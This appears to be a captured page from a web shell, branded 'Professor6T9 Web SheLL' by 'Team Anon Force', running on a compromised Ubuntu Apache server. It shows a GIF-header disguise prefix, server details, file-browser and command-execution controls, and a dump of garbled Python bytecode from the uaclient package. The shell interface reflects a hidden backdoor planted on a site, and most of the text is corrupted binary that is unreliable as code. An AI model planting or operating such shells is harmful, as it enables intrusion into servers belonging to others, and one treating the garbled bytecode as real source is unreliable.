GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
uaclient
/
__pycache__
[ HOME ]
Exec
Submit
status.cpython-310.pyc
o 8�-d�f � @ s d dl Z d dlZd dlZd dlZd dlZd dlmZ d dlmZmZ d dl m Z mZmZm Z mZ d dlmZmZmZmZmZmZ d dlmZmZ d dlmZmZ d dlmZmZ d d lm Z d d l!m"Z"m#Z#m$Z$m%Z% d dl&m'Z' d dl(m)Z) d d l*m+Z+ e�,� Z-e�.e/�Z0dZ1dZ2dZ3e%j4j5e+j6e%j4j5 e+j7 e%j8j5e+j9e%j8j5 e+j7 e%j:j5e+j;e%j:j5 e+j7 e%j<j5e+j;e%j<j5 e+j7 e%j=j5e+j>e%j=j5 e+j7 e"j?j5e+j6e"j?j5 e+j7 e"j@j5e+j;e"j@j5 e+j7 e1e+j6e1 e+j7 e2e+j6e2 e+j7 e3e+j6e3 e+j7 i ZAdZBdZCdZDdZEi dd�dd�de�F� �dd�dd�dd�dd�dd�d g �d!e$j8j5�d"ejG�d#i �d$g �d%d&d&d&g e%j:j5d'��d(d&d&d&g d)��d*d�ZHd+d,� ZId-eeJe f fd.d/�ZKd0ed-eeJe f fd1d2�ZLd0ed-eeJe f fd3d4�ZMd-eeJe f fd5d6�ZNd-eeJe f fd7d8�ZOdSd0ed9ePd-eeJe f fd:d;�ZQd<eeeJe f d=eJd-eeJe f fd>d?�ZR dSd@eJd9ePd-eeeJe f eSf fdAdB�ZTdCeJd-eJfdDdE�ZUdFeeeJ d-eJfdGdH�ZV dTdIeeeJeJf dJe eJ d-eeJ fdKdL�ZWde e d-eJfdMdN�ZXd;eeJe f d-eJfdOdP�ZYdQdR� ZZdS )U� N)�OrderedDict)�datetime�timezone)�Any�Dict�List�Optional�Tuple)�event_logger� exceptions� livepatch�messages�util�version)�UA_CONFIGURABLE_KEYS�UAConfig)�get_available_resources�get_contract_information)�ATTACH_FAIL_DATE_FORMAT�PRINT_WRAP_WIDTH)�entitlement_factory)�ContractStatus�UserFacingAvailability�UserFacingConfigStatus�UserFacingStatus)�notices)�Notice)�TxtColor� essential�standard�advancedz({name: <17}{available: <11}{description}zJ{name: <17}{available: <11}{entitled: <11}{auto_enabled: <14}{description}z0SERVICE ENTITLED STATUS DESCRIPTIONz4{name: <17}{entitled: <19}{status: <19}{description}�_doczUContent provided in json response is currently considered Experimental and may change�_schema_versionz0.1r � machine_id�attachedF� effective�expires�origin�services�execution_status�execution_details�featuresr �contract� ��id�name� created_at�products�tech_support_level�account�r0 r/ r1 �external_account_ids� simulatedc C s dd� | � � D �S )Nc S s$ g | ]}|j j|jj|jjd ��qS ))r0 �reason_code�reason)�entitlementr0 � named_msg�msg��.0�service� r@ �1/usr/lib/python3/dist-packages/uaclient/status.py� <listcomp>v s ���z,_get_blocked_by_services.<locals>.<listcomp>)�blocking_incompatible_services)�entr@ r@ rA �_get_blocked_by_servicesu s �rE �returnc C s� d }d}| � � }| �� }| j|v rdnd}|tjkrtj}n-| j|v r,tj}|| j }n| �� \}}|tj kr?|j|j d�}n|rD|j }|tjkrKd}t| �} | j| j |j|j|||| |d� S )Nr- �no�yes)�code�message) r0 �description�entitled�status�status_details�description_override� available� blocked_by�warning)�status_description_override�contract_statusr0 r � UNENTITLEDr �UNAVAILABLE�INAPPLICABLE�user_facing_status�WARNINGr<